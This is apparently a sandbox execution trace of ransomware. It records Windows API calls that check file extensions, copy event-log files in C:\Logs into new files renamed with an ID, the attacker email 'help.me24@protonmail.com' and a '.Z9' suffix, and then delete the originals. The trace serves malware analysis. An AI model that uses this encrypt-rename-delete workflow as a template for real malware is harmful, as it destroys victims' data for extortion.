	[0082.852] lstrlenW (lpString=".zip") returned 4
	[0082.852] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.852] lstrlenW (lpString=".rar") returned 4
	[0082.852] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.852] lstrlenW (lpString=".bz2") returned 4
	[0082.852] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.852] lstrlenW (lpString=".7z") returned 3
	[0082.852] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.853] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50
	[0082.853] lstrlenW (lpString=".dbf") returned 4
	[0082.853] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.853] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50
	[0082.853] lstrlenW (lpString=".1cd") returned 4
	[0082.853] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.853] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50
	[0082.853] lstrlenW (lpString=".jpg") returned 4
	[0082.853] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.853] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0082.853] lstrlenW (lpString="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 66
	[0082.853] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0082.853] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=69632) returned 1
	[0082.853] CloseHandle (hObject=0x358) returned 1
	[0082.853] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx")) returned 0x20
	[0082.853] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0082.853] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0082.854] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.854] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.854] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0082.870] GetLastError () returned 0x0
	[0082.870] ReadFile (in: hFile=0x358, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0082.882] WriteFile (in: hFile=0x384, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0082.884] ReadFile (in: hFile=0x358, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.884] WriteFile (in: hFile=0x384, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x158, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x158, lpOverlapped=0x0) returned 1
	[0082.884] SetEndOfFile (hFile=0x384) returned 1
	[0082.884] CloseHandle (hObject=0x384) returned 1
	[0082.886] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.886] SetEndOfFile (hFile=0x358) returned 1
	[0082.887] CloseHandle (hObject=0x358) returned 1
	[0082.888] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0082.888] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx")) returned 1
	[0082.889] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74
	[0082.889] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74
	[0082.889] lstrlenW (lpString=".doc") returned 4
	[0082.889] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.889] lstrlenW (lpString=".docx") returned 5
	[0082.889] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.889] lstrlenW (lpString=".pdf") returned 4
	[0082.889] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.889] lstrlenW (lpString=".xls") returned 4
	[0082.889] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.889] lstrlenW (lpString=".xlsx") returned 5
	[0082.889] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.889] lstrlenW (lpString=".ppt") returned 4
	[0082.889] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.889] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74
	[0082.889] lstrlenW (lpString=".zip") returned 4
	[0082.889] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.889] lstrlenW (lpString=".rar") returned 4
	[0082.889] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.889] lstrlenW (lpString=".bz2") returned 4
	[0082.889] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.889] lstrlenW (lpString=".7z") returned 3
	[0082.889] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.889] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74
	[0082.890] lstrlenW (lpString=".dbf") returned 4
	[0082.890] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.890] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74
	[0082.890] lstrlenW (lpString=".1cd") returned 4
	[0082.890] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.890] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74
	[0082.890] lstrlenW (lpString=".jpg") returned 4
	[0082.890] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.890] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74
	[0082.890] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74
	[0082.890] lstrlenW (lpString=".doc") returned 4
	[0082.890] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.890] lstrlenW (lpString=".docx") returned 5
	[0082.890] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.890] lstrlenW (lpString=".pdf") returned 4
	[0082.890] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.890] lstrlenW (lpString=".xls") returned 4
	[0082.890] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.890] lstrlenW (lpString=".xlsx") returned 5
	[0082.890] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.890] lstrlenW (lpString=".ppt") returned 4
	[0082.890] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.890] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74
	[0082.890] lstrlenW (lpString=".zip") returned 4
	[0082.890] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.890] lstrlenW (lpString=".rar") returned 4
	[0082.890] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.890] lstrlenW (lpString=".bz2") returned 4
	[0082.890] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.890] lstrlenW (lpString=".7z") returned 3
	[0082.890] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.890] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74
	[0082.890] lstrlenW (lpString=".dbf") returned 4
	[0082.890] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.890] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74
	[0082.891] lstrlenW (lpString=".1cd") returned 4
	[0082.891] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.891] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74
	[0082.891] lstrlenW (lpString=".jpg") returned 4
	[0082.891] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.891] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0082.891] lstrlenW (lpString="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 72
	[0082.891] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0082.891] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=69632) returned 1
	[0082.891] CloseHandle (hObject=0x358) returned 1
	[0082.891] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx")) returned 0x20
	[0082.891] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0082.891] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0082.892] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.892] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.892] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0082.892] GetLastError () returned 0x0
	[0082.892] ReadFile (in: hFile=0x358, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0082.895] WriteFile (in: hFile=0x384, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0082.897] ReadFile (in: hFile=0x358, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.897] WriteFile (in: hFile=0x384, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x164, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x164, lpOverlapped=0x0) returned 1
	[0082.897] SetEndOfFile (hFile=0x384) returned 1
	[0082.897] CloseHandle (hObject=0x384) returned 1
	[0082.901] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.901] SetEndOfFile (hFile=0x358) returned 1
	[0082.902] CloseHandle (hObject=0x358) returned 1
	[0082.903] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0082.903] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx")) returned 1
	[0082.903] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80
	[0082.903] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80
	[0082.903] lstrlenW (lpString=".doc") returned 4
	[0082.903] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.903] lstrlenW (lpString=".docx") returned 5
	[0082.903] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.903] lstrlenW (lpString=".pdf") returned 4
	[0082.903] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.903] lstrlenW (lpString=".xls") returned 4
	[0082.903] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.903] lstrlenW (lpString=".xlsx") returned 5
	[0082.903] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.903] lstrlenW (lpString=".ppt") returned 4
	[0082.903] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.903] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80
	[0082.903] lstrlenW (lpString=".zip") returned 4
	[0082.904] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.904] lstrlenW (lpString=".rar") returned 4
	[0082.904] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.904] lstrlenW (lpString=".bz2") returned 4
	[0082.904] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.904] lstrlenW (lpString=".7z") returned 3
	[0082.904] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.904] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80
	[0082.904] lstrlenW (lpString=".dbf") returned 4
	[0082.904] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.904] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80
	[0082.904] lstrlenW (lpString=".1cd") returned 4
	[0082.904] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.904] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80
	[0082.904] lstrlenW (lpString=".jpg") returned 4
	[0083.178] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.178] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80
	[0083.178] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80
	[0083.178] lstrlenW (lpString=".doc") returned 4
	[0083.178] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.178] lstrlenW (lpString=".docx") returned 5
	[0083.178] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.178] lstrlenW (lpString=".pdf") returned 4
	[0083.179] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.179] lstrlenW (lpString=".xls") returned 4
	[0083.179] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.179] lstrlenW (lpString=".xlsx") returned 5
	[0083.179] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.179] lstrlenW (lpString=".ppt") returned 4
	[0083.179] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.179] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80
	[0083.179] lstrlenW (lpString=".zip") returned 4
	[0083.179] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.179] lstrlenW (lpString=".rar") returned 4
	[0083.179] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.179] lstrlenW (lpString=".bz2") returned 4
	[0083.179] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.179] lstrlenW (lpString=".7z") returned 3
	[0083.179] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.179] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80
	[0083.179] lstrlenW (lpString=".dbf") returned 4
	[0083.179] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.179] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80
	[0083.179] lstrlenW (lpString=".1cd") returned 4
	[0083.179] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0083.179] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80
	[0083.179] lstrlenW (lpString=".jpg") returned 4
	[0083.179] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.179] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0083.179] lstrlenW (lpString="Microsoft-Windows-User Profile Service%4Operational.evtx") returned 56
	[0083.179] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0083.244] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=69632) returned 1
	[0083.244] CloseHandle (hObject=0x320) returned 1
	[0083.244] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx")) returned 0x20
	[0083.244] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0083.258] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0083.258] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.258] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.258] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0083.303] GetLastError () returned 0x0
	[0083.303] ReadFile (in: hFile=0x320, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0083.307] WriteFile (in: hFile=0x390, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0083.310] ReadFile (in: hFile=0x320, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.310] WriteFile (in: hFile=0x390, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x144, lpOverlapped=0x0) returned 1
	[0083.310] SetEndOfFile (hFile=0x390) returned 1
	[0083.310] CloseHandle (hObject=0x390) returned 1
	[0083.312] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.312] SetEndOfFile (hFile=0x320) returned 1
	[0083.314] CloseHandle (hObject=0x320) returned 1
	[0083.314] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0083.314] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx")) returned 1
	[0083.314] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64
	[0083.314] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64
	[0083.314] lstrlenW (lpString=".doc") returned 4
	[0083.314] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.314] lstrlenW (lpString=".docx") returned 5
	[0083.314] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.314] lstrlenW (lpString=".pdf") returned 4
	[0083.315] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.315] lstrlenW (lpString=".xls") returned 4
	[0083.315] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.315] lstrlenW (lpString=".xlsx") returned 5
	[0083.315] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.315] lstrlenW (lpString=".ppt") returned 4
	[0083.315] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.315] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64
	[0083.315] lstrlenW (lpString=".zip") returned 4
	[0083.315] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.315] lstrlenW (lpString=".rar") returned 4
	[0083.315] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.315] lstrlenW (lpString=".bz2") returned 4
	[0083.315] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.315] lstrlenW (lpString=".7z") returned 3
	[0083.315] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.315] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64
	[0083.315] lstrlenW (lpString=".dbf") returned 4
	[0083.315] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.315] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64
	[0083.315] lstrlenW (lpString=".1cd") returned 4
	[0083.315] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0083.315] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64
	[0083.315] lstrlenW (lpString=".jpg") returned 4
	[0083.315] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.315] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64
	[0083.315] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64
	[0083.315] lstrlenW (lpString=".doc") returned 4
	[0083.315] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.315] lstrlenW (lpString=".docx") returned 5
	[0083.316] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.316] lstrlenW (lpString=".pdf") returned 4
	[0083.316] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.316] lstrlenW (lpString=".xls") returned 4
	[0083.316] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.316] lstrlenW (lpString=".xlsx") returned 5
	[0083.316] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.316] lstrlenW (lpString=".ppt") returned 4
	[0083.316] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.316] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64
	[0083.316] lstrlenW (lpString=".zip") returned 4
	[0083.316] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.316] lstrlenW (lpString=".rar") returned 4
	[0083.316] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.316] lstrlenW (lpString=".bz2") returned 4
	[0083.316] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.316] lstrlenW (lpString=".7z") returned 3
	[0083.316] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.316] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64
	[0083.316] lstrlenW (lpString=".dbf") returned 4
	[0083.316] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.316] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64
	[0083.316] lstrlenW (lpString=".1cd") returned 4
